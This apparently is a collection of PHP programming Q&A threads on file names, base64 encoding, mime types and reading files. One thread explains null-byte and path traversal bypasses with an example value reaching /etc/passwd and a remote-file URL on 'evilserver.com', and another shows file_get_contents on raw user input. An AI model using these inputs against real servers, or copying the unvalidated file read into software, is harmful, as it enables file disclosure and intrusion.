Is there a period in the string? - php

So i am using this wordpress function to get the users image
the_author_meta('author_image', the_author_ID()
and it will either return something.jpg or something.png or something.gif if it finds an image otherwise it will return an integer like 2330. How would i do a preg_match or some conditional to let me know if an image is present. I was thinking of doing a preg_match to see if there is a period in the name but if someone has a better idea that would be great..

Simpler:
if (is_numeric($author_image)){
// this is presumably not a file
}

If all you want to do is check the extension of the file to see if it ends with something (ex. '.jpg', '.png', etc.) you can use the solution presented here:
startsWith() and endsWith() functions in PHP
I do not have familiarity with the library that you are using, but there really should be a better way to detect if the file is actually an image (some sort of meta data). Maybe reading the documentation will help?
EDIT: I misread the part about the function returning integers if an image is not found. The is_numeric() solution is probably enough, but I'll leave my answer up to give you options (for example, if you want to distinguish between image types).

Related

Which special characters can cause a file path to be misinterpreted?

For example, there is function (pseudo code):
if ($_GET['path'] ENDS with .mp3 extension) { read($_GET['path']); }
but is it possible, that hacker in a some way, used a special symbol/method, i.e.:
path=file.php^example.mp3
or
path=file.php+example.mp3
or etc...
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
p.s. DONT POST ANSWERS about PROTECTION! I NEED TO KNOW IF THIS CODE can be bypassed, as I AM TO REPORT MANY SCRIPTS for this issue (if this is really an issue).
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
Yes, such a symbol exists; it is called the 'null byte' ("\0").
Because in C (the language used to write the PHP engine) the end of a 'string' is signalled by the null byte. So, whenever a null byte is encountered, the string will end.
If you want the string to end with .mp3 you should manually append it.
Having said that, it is, generally speaking, a very bad idea to accept a user supplied path from a security standpoint (and I believe you are interested in the security aspect of this, because you originally posted this question on security.SE).
Consider the situation where:
$_GET['path'] = "../../../../../etc/passwd\0";
or a variation on this theme.
The leading concept in programming is "Don't trust user input". So the main problem in your case is not a special character its how you work with your data. So you shouldn't use a path given by a user because the user can manipulate the path or other variables.
To escape a user input to prevent bad characters you can use htmlspecialchars or you can filter your get input with filter_input something like that:
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
WE CAN'T TELL IF YOU IF THE CODE CAN BE "BYPASSED" BECAUSE YOU'VE NOT GIVEN US ANY PHP CODE
As to the question of whether its possible to trick PHP into processing a file it shouldn't based on the end of the string, then the answer is only if there is another file somewhere else which has the same ending. However, by default, PHP will happily read from URLs using the same functionality as reading from local files, consider:
http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3

extract info from jpeg with PHP

I want to extract variable lengths of information from a jpeg-file using PHP, but it is not exif-data.
If I open the jpeg with a simple text editor, I can see that the wanted informations are at the end of the file and seperated by \00.
Like this:
\00DATA\00DATA00DATA\00DATA\000\00DATA
Now if I use PHP's file_get_contents() to load the file into a string, the dividers \00 are gone and other symbols show up.
Like so:
ÿëžDATADATADATADATADATA ÿÙ
Could somebody please eplain:
Why do the \00 dividers vanish?
How to get the informations using PHP?
EDIT
The question is solved, but for those seeking a smarter solution, here is the file I try to obtain the DATA parts from: https://www.dropbox.com/s/5cwnlh2kadvi6f7/test-img.jpg?dl=0 (yes I know its corrupted)
Use instead $data = exif_read_data("PATH/some.jpg") it will give you all headers data about image, you can check its manual here - http://php.net/manual/en/function.exif-read-data.php
I came up with a solution on my own. May not be pretty, but works for me.
Using urlencode(file_get_contents()) I was able to retrieve the \00 parts as %00.
So now it reads like this:
%00DATA%00DATA%00DATA%00DATA%000%00DATA
I can split the string at the %00 parts.
I am going to accept this answer, once SO lets me do so and nobody comes up with a better solution.

PHP - alternative to Base64 with shorter results?

I'm currently using base64 to encode a short string and decode it later, and wonder if a better (shorter) alternative is possible.
$string = '/path/to/img/image.jpg';
$convertedString = base64_encode($string);
// New session, new user
$convertedString = 'L3BhdGgvdG8vaW1nL2ltYWdlLmpwZw==';
$originalString = base64_decode('L3BhdGgvdG8vaW1nL2ltYWdlLmpwZw==');
// Can $convertedString be shorter by any means ?
Requirements :
Shorter result possible
Must be reversible any time in a different session (therefore unique)
No security needed (anyone can guess it)
Any kind of characters that can be used in a URL (except slashes)
Can be an external lib
Goal :
Get a clean unique id from a path file that is not the path file and can be used in a URL, without using a database.
I've searched and read a lot, looks like it doesn't exist but couldn't find a definitive answer.
Well since you're using these in a URL, why not use rawurlencode($string) and rawurldecode($encodedString)?
If you can reserve one character like - (i.e., ensure that - never appears in your file names), you can do even better by doing rawurlencode(str_replace('/', '-', $string)) and str_replace('-', '/', rawurldecode($encodedString)). Depending on the file names you pick, this will create IDs that are the same length as the original filename. (This won't work if your file names have multi-byte characters in them; you will need to use some mb_* functions for that case.)
You could try using compression functions, but for strings as short as file paths, compression usually makes the output larger than the input.
Ultimately, unless you are willing to use a database, disallow certain file names, or you know something about what kinds of file names will come up, the best you can hope for is IDs that are as short or almost as short as the original file names. Otherwise, this would be a universal compression function, which is impossible.
I don't think there is anything reliable out there that would significantly shorten the encoded string and keep it URL friendly.
e.g. if you use something like
$test = gzcompress(base64_encode($parameter), 9, ZLIB_ENCODING_DEFLATE);
echo $test;
it would generate characters that are not URL-friendly and any post-transformation would be just a risky mess.
However, you can easily transform text to get URL-friendly parameters.
I use the following code to generate URL-friendly parameters:
$encodedParameter = urlencode(base64_encode($parameter));
And the following code to decode it:
$parameter = base64_decode(urldecode($encodedParameter));
As an alternative solution, you could use generated tokens to map known files using some database.

Pull a mime type out of a URI using PHP

So after searching through multiple documentation sources I'm still no closer to figuring out how to extract the Mime type from a data URI that has already been processed and stored in a DB.
That is a quick snap shot of the exact data I have to work with. I just want a dynamic way to always get the "image/png" part which may change with each image in the DB.
I'm using PHP.
Not an elegant solution, but you could do:
// assume you've set $image_uri to be the URI from the database
$image_parts = explode(";", $image_uri); // split on the ; after the mime type
$mime_type = substr($image_parts[0], 5); // get the information after the data: text
It could be done with regular expressions, but I'm not good enough at them to come up with it.
Here's the elegant solution, using the mime_content_type function.
return mime_content_type($data_uri);
Just pass the URI to the function, and it'll work (source).

Upper or Lower Case Issue using get_file_contents php

I am using a PHP GET method to grab a file name that then is placed in a get_file_contents command. If it is possible, I would like to ignore letter case so that my URL's are cleaner.
For instance, example.com/file.php?n=File-Name will work but example.com/file.php?n=file-name will not work using the code below. I feel like this should be easy but I'm coming up dry. Any thoughts?
$file = $_GET['n'];
$file_content = file_get_contents($file);
Lowercase all your filenames and use:
file_get_contents(strtolower($file));
(I hope you're aware of some of the risks involved in using this.)
The Linux filesystem is case sensitive. If you want to do case insensitive matching against files that already exist on the user's machine, your only option is to obtain a directory listing and do case-insensitive comparison.
But you don't explain where the download URLs come from. If you already know the correct filenames and you want to generate prettier URLs, you can keep a list of the true pathnames and look them up when you receive a case-normalized one in a URL (you could even rename them completely, obfuscate, etc.)

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